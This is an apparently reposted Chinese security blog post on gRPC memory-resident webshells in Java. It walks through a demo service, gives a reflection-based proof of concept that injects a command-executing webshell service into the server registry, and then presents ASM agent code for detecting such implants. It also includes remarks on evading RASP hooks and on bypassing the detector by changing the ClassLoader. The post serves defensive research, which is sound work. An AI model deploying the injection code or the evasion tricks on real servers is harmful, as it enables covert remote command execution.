精品国产人成在线_亚洲高清无码在线观看_国产在线视频国产永久2021_国产AV综合第一页一个的一区免费影院黑人_最近中文字幕MV高清在线视频

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

gRPC內存馬研究與查殺

冬至子 ? 來源:小陳的Life ? 作者:Leiothrix ? 2023-06-01 11:24 ? 次閱讀

0****2

gRPC介紹

了解gRPC之前,就需要引入RPC的設計理念,才能更好的理解gRPC的工作原理

遠程過程調用(Remote Procedure Call,縮寫為 RPC)是一個計算機通信協議。該協議允許一臺計算上的程序調用另一臺計算機上運行的程序,使得程序員無需再做額外的操作。如果是面向對象的場景,也可以稱作為遠程方法調用,比如熟知的Java RMI(Remote Method Invocation)調用。

圖片

而gRPC是由Google開發的一款高性能的開源RPC框架,經常用于微服務之間各種不同語言的程序調用函數和通信,大大的增加了微服務之間的通信效率和平臺依賴性。同時gRPC是使用Protocol buffers作為接口定義語言(IDL),可以通過編寫的proto文件來定義消息結構體和RPC遠程調用函數。

協調的接口是通過proto文件來定義的消息結構,相關文檔可以在Reference[1]中找到。再來看看gRPC的接口定義語言Protocol Buffers的工作流程圖:

圖片

結合后續的案例說明,proto文件定義好之后需要通過生成器生成對應語言的代碼,并在項目中使用才可以建立gRPC調用。

03

案例說明

這里直接用綠盟星云實驗室開源的gRPC靶場來研究:https://github.com/snailll/gRPCDemo

首先直接看看他的user.proto是如何定義的

syntax = "proto3";
package protocol;




option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";


message User {
  int32 userId = 1;
  string username = 2;
  sint32 age = 3;
  string name = 4;
}


service UserService {
  rpc getUser (User) returns (User) {}
  rpc getUsers (User) returns (stream User) {}
  rpc saveUsers (stream User) returns (User) {}
}

可以看到文件中定義了go_package和java_package兩個變量,用處是明確指出包的命名空間,防止與其他語言的名稱沖突。而java_multiple_files = true 選項則是允許為每個生成的類,生成一個單獨的 .java 文件。

定義好了proto文件之后,就可以通過protoc或者maven的插件來生成grpc代碼,這里我用的protoc二進制文件和插件protoc-gen-grpc來生成。

用下列兩個命令生成對應的Java代碼文件:

protoc -I=. --java_out=./codes/ user.proto


protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto

這里的grpc插件一定要重新命名為"protoc-gen-grpc-java",不然會顯示找不到命令。

之后會在codes文件中生成對象關系的java文件,code文件夾中生成grpc相關的UserServiceGrpc.java文件。

把生成好的Java文件添加到開發的項目中,并新建一個UserServiceImpl類,用來實現grpc的方法。

package com.demo.shell.service;


import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.stub.StreamObserver;




/**
 * @author demo
 * @date 2022/11/27
 */
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
    @Override
    public void getUser(User request, StreamObserver< User > responseObserver) {
        System.out.println(request);
        User user = User.newBuilder()
                .setName("response name")
                .build();
        responseObserver.onNext(user);
        responseObserver.onCompleted();
    }


    @Override
    public void getUsers(User request, StreamObserver< User > responseObserver) {
        System.out.println("get users");
        System.out.println(request);
        User user = User.newBuilder()
                .setName("user1")
                .build();
        User user2 = User.newBuilder()
                .setName("user2")
                .build();
        responseObserver.onNext(user);
        responseObserver.onNext(user2);
        responseObserver.onCompleted();
    }


    @Override
    public StreamObserver< User > saveUsers(StreamObserver< User > responseObserver) {


        return new StreamObserver< User >() {
            @Override
            public void onNext(User user) {
                System.out.println("get saveUsers list ---- >");
                System.out.println(user);
            }


            @Override
            public void onError(Throwable throwable) {
                System.out.println("saveUsers error " + throwable.getMessage());
            }


            @Override
            public void onCompleted() {
                User user = User.newBuilder()
                        .setName("saveUsers user1")
                        .build();
                responseObserver.onNext(user);
                responseObserver.onCompleted();
            }
        };
    }
}

在創建一個Main方法啟動Netty服務

public static void main(String[] args) throws Exception {
    int port = 8082;
    Server server = NettyServerBuilder
        .forPort(port)
        .addService(new UserServiceImpl())
        .build()
        .start();
    System.out.println("server started, port : " + port);
    server.awaitTermination();
}

圖片

再編寫客戶端調用服務器方法

package com.demo.shell.test;


import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;


import java.util.Iterator;


/**
 * @author demo
 * @date 2022/11/27
 */
public class NsTest {
    public static void main(String[] args) {


        User user = User.newBuilder()
                .setUserId(100)
                .build();


        String host = "127.0.0.1";
        int port = 8082;
        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
        UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
        User responseUser = userServiceBlockingStub.getUser(user);
        System.out.println(responseUser);


        Iterator< User > users = userServiceBlockingStub.getUsers(user);
        while (users.hasNext()) {
            System.out.println(users.next());
        }


        channel.shutdown();
    }
}

服務器輸出對應的參數請求內容

圖片

04

gRPC內存馬實現原理

先從服務端啟動來看看UserServiceImpl是如何注冊的

int port = 8082;
Server server = NettyServerBuilder
    .forPort(port)
    .addService(new UserServiceImpl())
    .build()
    .start();

forPort這里只是新建了一個NettyServerBuilder類,并設置了啟動服務需要綁定的端口

而到addService方法中,新建的UserServiceImpl類作為參數傳遞進了方法體中

public T addService(BindableService bindableService) {
    this.delegate().addService(bindableService);
    return this.thisT();
}

代碼中的this.delegate()就是io.grpc.internal.ServerImplBuilder類

跟進查看

圖片

看到addService方法中添加的其實是bindService的返回值。

圖片

這里的正好是之前grpc插件生成的UserServiceGrpc類

@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {
    return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())
        .addMethod(
        getGetUserMethod(),
        io.grpc.stub.ServerCalls.asyncUnaryCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User >(
                this, METHODID_GET_USER)))
        .addMethod(
        getGetUsersMethod(),
        io.grpc.stub.ServerCalls.asyncServerStreamingCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User >(
                this, METHODID_GET_USERS)))
        .addMethod(
        getSaveUsersMethod(),
        io.grpc.stub.ServerCalls.asyncClientStreamingCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User >(
                this, METHODID_SAVE_USERS)))
        .build();
}

里面的代碼正好對應proto文件中定義的三個方法名

addService添加了需要注冊的方法,之后就是通過Build方法編譯好且設置不可修改。

public Server build() {
    return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);
}

Build方法中創建了ServerImpl對象,再來看看ServerImpl對象的構造方法

ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {
    this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");
    this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");
    ...
}

主要是關注builder.registryBuilder.build()方法,進入的正好是io.grpc.internal.InternalHandlerRegistry$Builder類的build方法。

static final class Builder {
    private final HashMap< String, ServerServiceDefinition > services = new LinkedHashMap();


    Builder() {
    }


    InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {
        this.services.put(service.getServiceDescriptor().getName(), service);
        return this;
    }


    InternalHandlerRegistry build() {
        Map< String, ServerMethodDefinition< ?, ? >> map = new HashMap();
        Iterator var2 = this.services.values().iterator();


        while(var2.hasNext()) {
            ServerServiceDefinition service = (ServerServiceDefinition)var2.next();
            Iterator var4 = service.getMethods().iterator();


            while(var4.hasNext()) {
                ServerMethodDefinition< ?, ? > method = (ServerMethodDefinition)var4.next();
                map.put(method.getMethodDescriptor().getFullMethodName(), method);
            }
        }


        return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));
    }
}

最后返回的Collections.unmodifiableList和Collections.unmodifiableMap,就是將list列表和map轉換成無法修改的對象,因此注冊的UserServiceImpl對象中的方法從一開始就確定了。

圖片

至此,內存馬的實現步驟就可以得知,需要通過反射重新定義ServerImpl對象中的this.registry值,添加進我們內存馬的ServerServiceDefinition和ServerMethodDefinition。

05

內存馬注入

由于M01N Team公眾號中并未直接給出poc利用,這里我也只能憑借自己的想法慢慢復現。

由于需用反射替換掉原先被設置unmodifiable的ServerServiceDefinition和ServerMethodDefinition,因此就需要ServerImpl對象的句柄。

圖片

由于ServerImpl并不是靜態的類,需要獲取的字段也不是靜態的,因此要獲取到JVM中ServerImpl的類,可目前為止我沒有想到有什么很好的方式獲取。如果讀者們有更好的思路可以留言給我,歡迎相互討論學習。

注入的思路,就是先獲取ServerImpl中已經有的ServerServiceDefinition和ServerMethodDefinition,讀取到新的List和Map中,并在新的List和Map中添加WebShell內存馬的信息,最后再設置unmodifiable屬性并更改registry對象的值。

Poc如下所示,需要提供ServerImpl對象的實例。

public static void changeGRPCService(Server server){
    try {
        Field field = server.getClass().getDeclaredField("registry");
        field.setAccessible(true);
        Object registry = field.get(server);
        Class< ? > handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
        Field services = handler.getDeclaredField("services");
        services.setAccessible(true);
        List servicesList = (List) services.get(registry);
        List< Object > newServicesList = new ArrayList< Object >(servicesList);


        //調用WebShell的bindService
        Class< ? > cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
        Method m = cls.getDeclaredMethod("bindService");
        BindableService obj = new WebshellServiceImpl();
        ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);


        newServicesList.add(service);    //添加新的Service到List中
        services.set(registry, Collections.unmodifiableList(newServicesList));
        Field methods = handler.getDeclaredField("methods");
        methods.setAccessible(true);
        Map methodsMap = (Map) methods.get(registry);
        Map< String,Object > newMethodsMap = new HashMap< String,Object >(methodsMap);


        for (ServerMethodDefinition< ?, ? > serverMethodDefinition : service.getMethods()) {
            newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);
        }
        methods.set(registry,Collections.unmodifiableMap(newMethodsMap));
    } catch (Exception e) {
        e.printStackTrace();
    }
}

上面的代碼片段只是一個demo版本,具體的實現需要把WebShellServiceGrpc類轉成字節碼,再Definition到JVM中。

注入完成后,在客戶端執行如下代碼調用即可:

package com.demo.shell.test;


import com.demo.shell.protocol.WebShellServiceGrpc;
import com.demo.shell.protocol.Webshell;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;


/**
 * @author demo
 * @date 2022/11/27
 */
public class NsTestShell {
    public static void main(String[] args) {


        Webshell webshell = Webshell.newBuilder()
                .setPwd("x")
                .setCmd("calc")
                .build();


        String host = "127.0.0.1";
        int port = 8082;
        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();


        WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
        Webshell s = webShellServiceBlockingStub.exec(webshell);
        System.out.println(s.getCmd());
        try {
            Thread.sleep(5000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        channel.shutdown();
    }
}

圖片

而原本公眾號中給出的防御方式是通過RASP技術對動態修改Service對象的行為做出攔截。其實我個人覺得這里不太好埋點,比如我可以對Service的上層對象registry直接做修改,或者我對Services對象的某個ServerServiceDefinition做修改,不做添加而只是修改原來已經存在的Method,操作的對象就不需要再更改Services的值。

06

gRPC內存馬查殺

首先在Agent中的transform方法中用ASM消費所有的類

ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);
reader.accept(visitor, 0);

這里的GrpcClassVisitor就是當前類的父類的接口是否繼承自io.grpc.BindableService,如果是,則說明這是一個gRPC實現類,因此當中定義的方法都可以是危險函數,需要進一步使用可達性分析判斷是否有危險Sink函數。

package com.websocket.findMemShell;


import java.util.List;


import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;




public class GrpcClassVisitor extends ClassVisitor {

  private String ClassName = null;
  private List< String > Grpc_Methods_list;


    public GrpcClassVisitor(ClassWriter writer,List< String > Grpc_Methods_list) {
        super(Opcodes.ASM4, writer);
        this.Grpc_Methods_list = Grpc_Methods_list;
    }


    @Override
    public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
        if(superName.contains("ServiceGrpc")) {
          try {
          String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\\\.")).getInterfaces()[0].getName();
          if(cls.equals("io.grpc.BindableService")) {
            //System.out.println("SuperName Class:"+cls);
            this.ClassName = name;
          }

            } catch (ClassNotFoundException e) {
          // TODO Auto-generated catch block
          e.printStackTrace();
        }
        }
      super.visit(version, access, name, signature, superName, interfaces);
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
      MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
      if(this.ClassName == null) {
        return methodVisitor;
      }else {
        return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);
      }

    }

    class MyMethodVisitor extends MethodVisitor implements Opcodes {
      private String MethodName;
      private String ClassName;
      private List< String > Grpc_Methods_list;
        public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List< String > Grpc_Methods_list) {
            super(Opcodes.ASM5, mv);
            this.MethodName = name;
            this.ClassName = ClassName;
            this.Grpc_Methods_list = Grpc_Methods_list;
        }

        @Override
        public void visitMethodInsn(final int opcode, final String owner,
                final String name, final String desc, final boolean itf) {

          if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {
            this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);
            //System.out.println(this.ClassName+"#"+this.MethodName);
            }
            super.visitMethodInsn(opcode, owner, name, desc, itf);
        }
    }
}

判斷函數邏輯:

if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\\\.", "/"))) {
    List< String > list = discoveredCalls.get(cp.getClassName().replaceAll("\\\\.", "/"));
    for(String str : list) {
        if(dfsSearchSink(str)) {
            stack.push(str);
            stack.push(cp.getClassName().replaceAll("\\\\.", "/"));
            StringBuilder sb = new StringBuilder();
            while(!stack.empty()) {
                sb.append("- >");
                sb.append(stack.pop());
            }
            System.out.println("Controller CallEdge: "+sb.toString());
            break;
        }
    }
}

這樣的好處可以查找出系統中gRPC的內存馬。

圖片

缺點是在查找gRPC實現類的時候,需要用到當前線程的ClassLoader判斷父類是否繼承自io.grpc.BindableService,因此攻擊的時候只需要更改加載的ClassLoader即可繞過。

圖片

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • RPC
    RPC
    +關注

    關注

    0

    文章

    111

    瀏覽量

    11515
  • 生成器
    +關注

    關注

    7

    文章

    313

    瀏覽量

    20979
  • JVM
    JVM
    +關注

    關注

    0

    文章

    157

    瀏覽量

    12209
  • 計算機通信
    +關注

    關注

    1

    文章

    26

    瀏覽量

    8428
收藏 人收藏

    評論

    相關推薦

    GRPC的基礎使用方法

    gRPC 是 Google 開源的高性能、通用的 RPC 框架,它采用了基于 HTTP/2 協議的二進制傳輸協議,支持多種語言,包括 Rust。Rust 語言 GRPC 模塊是一個用于 Rust
    的頭像 發表于 09-19 16:08 ?907次閱讀

    云如是說

    顯微鏡下進行分析研究的又一起因。互聯網在公司經營中發揮著越來越大的作用,如何正確看待互聯網的意義?如何有效地利用互聯網為公司的贏利目標服務?相信讀者們能從云的話語中得到很多啟迪。這,是我們決定在此時期選擇云作為中國企業家范例
    發表于 07-16 18:50

    一鍵清理網站木馬文件,從此網站擁有專屬保鏢 ——阿里云虛擬主機推出木馬查殺功能

    摘要: 近日,阿里云推出了云虛擬主機網站木馬查殺的新功能,十分適合對網站安全不了解、不熟悉的用戶,或網站出現掛情況不清楚如何處理的用戶。 阿里云表示,此次網站木馬查殺功能是阿里云安騎士專為虛擬主機
    發表于 01-04 12:08

    安瓿智能視覺檢測機器人研究_

    安瓿智能視覺檢測機器人研究_
    發表于 01-19 21:54 ?0次下載

    熊貓燒香病毒怎樣進行手動查殺

    手動查殺:只不通過代碼的方式對病毒進行查殺,通過鼠標指指點點+DOS命令實現殺毒 粗淺,往往不能查殺干凈 并不代表什么軟件都不用,專業分析軟件 手動查殺病毒木馬固定的流程: 1. 排查
    發表于 10-09 18:28 ?1次下載
    熊貓燒香病毒怎樣進行手動<b class='flag-5'>查殺</b>

    谷歌開源高性能通用RPC框架gRPC

    谷歌開源了 gRPC-Kotlin/JVM,讓開發者可以在 Kotlin 項目中更方便地使用 gRPC,以更簡單的方式構建可靠的網絡連接服務。
    的頭像 發表于 04-20 14:43 ?2750次閱讀
    谷歌開源高性能通用RPC框架<b class='flag-5'>gRPC</b>

    如何在虛擬環境下進行病毒的查殺詳細資料概述

    傳統的安全服務大多將病毒查殺實體置于用戶的操作內部,會產生大量資源開銷和浪費,且病毒查殺的程序本身就處于不安全的環境,容易遭到惡意程序的破壞,很難保證安全服務的完整性。為此,提出一種無代理的病毒查殺
    發表于 11-03 16:31 ?13次下載
    如何在虛擬環境下進行病毒的<b class='flag-5'>查殺</b>詳細資料概述

    基于改進SIFT和RANSAC圖像拼接算法研究_

    基于改進SIFT和RANSAC圖像拼接算法研究_強(怎樣測監控電源電流)-基于改進SIFT和RANSAC圖像拼接算法研究_強這是一份非常不錯的資料,歡迎下載,希望對您有幫助!
    發表于 07-26 12:53 ?12次下載
    基于改進SIFT和RANSAC圖像拼接算法<b class='flag-5'>研究</b>_<b class='flag-5'>馬</b>強

    IP知識百科之什么是gRPC

    gRPC Google遠程過程調用(Google Remote Procedure Call,gRPC)協議是谷歌發布的高性能、通用的開源RPC軟件框架。gRPC提供了多種編程語言,同時gRP
    的頭像 發表于 11-16 15:13 ?3196次閱讀

    FindShell內存查殺工具

    FindShell.zip
    發表于 05-06 11:57 ?3次下載
    FindShell<b class='flag-5'>內存</b><b class='flag-5'>馬</b><b class='flag-5'>查殺</b>工具

    gRPC-Nebula微服務框架

    ./oschina_soft/grpc-nebula.zip
    發表于 06-22 14:59 ?0次下載
    <b class='flag-5'>gRPC</b>-Nebula微服務框架

    gRPC-Web訪問gRPC服務的Web客戶端

    ./oschina_soft/grpc-web.zip
    發表于 06-22 09:25 ?0次下載
    <b class='flag-5'>gRPC</b>-Web訪問<b class='flag-5'>gRPC</b>服務的Web客戶端

    正確使用gRPC與GraphQL

    TLDR:使用 GraphQL 進行客戶端-服務器通信,使用 gRPC 進行服務器到服務器通信。有關此規則的例外情況,請參閱“判定”部分。 我已經閱讀了很多關于這兩種協議的比較,并想寫一個全面和公正
    的頭像 發表于 12-08 15:47 ?1069次閱讀

    什么是gRPC

    相信大家對RPC協議都有一定的了解,并且或多或少都會在項目中涉及,但可能都和小編類似,都是直接使用平臺封裝的插件,對于其中的原理不是很了解,今天借此機會和大家分享下最近接觸的RPC框架-grpc
    的頭像 發表于 10-07 16:24 ?663次閱讀

    使用go語言實現一個grpc攔截器

    在開發grpc服務時,我們經常會遇到一些通用的需求,比如:日志、鏈路追蹤、鑒權等。這些需求可以通過grpc攔截器來實現。本文使用go語言來實現一個 grpc一元模式(Unary)攔截器,上報鏈路追蹤信息。
    的頭像 發表于 12-18 10:13 ?635次閱讀
    使用go語言實現一個<b class='flag-5'>grpc</b>攔截器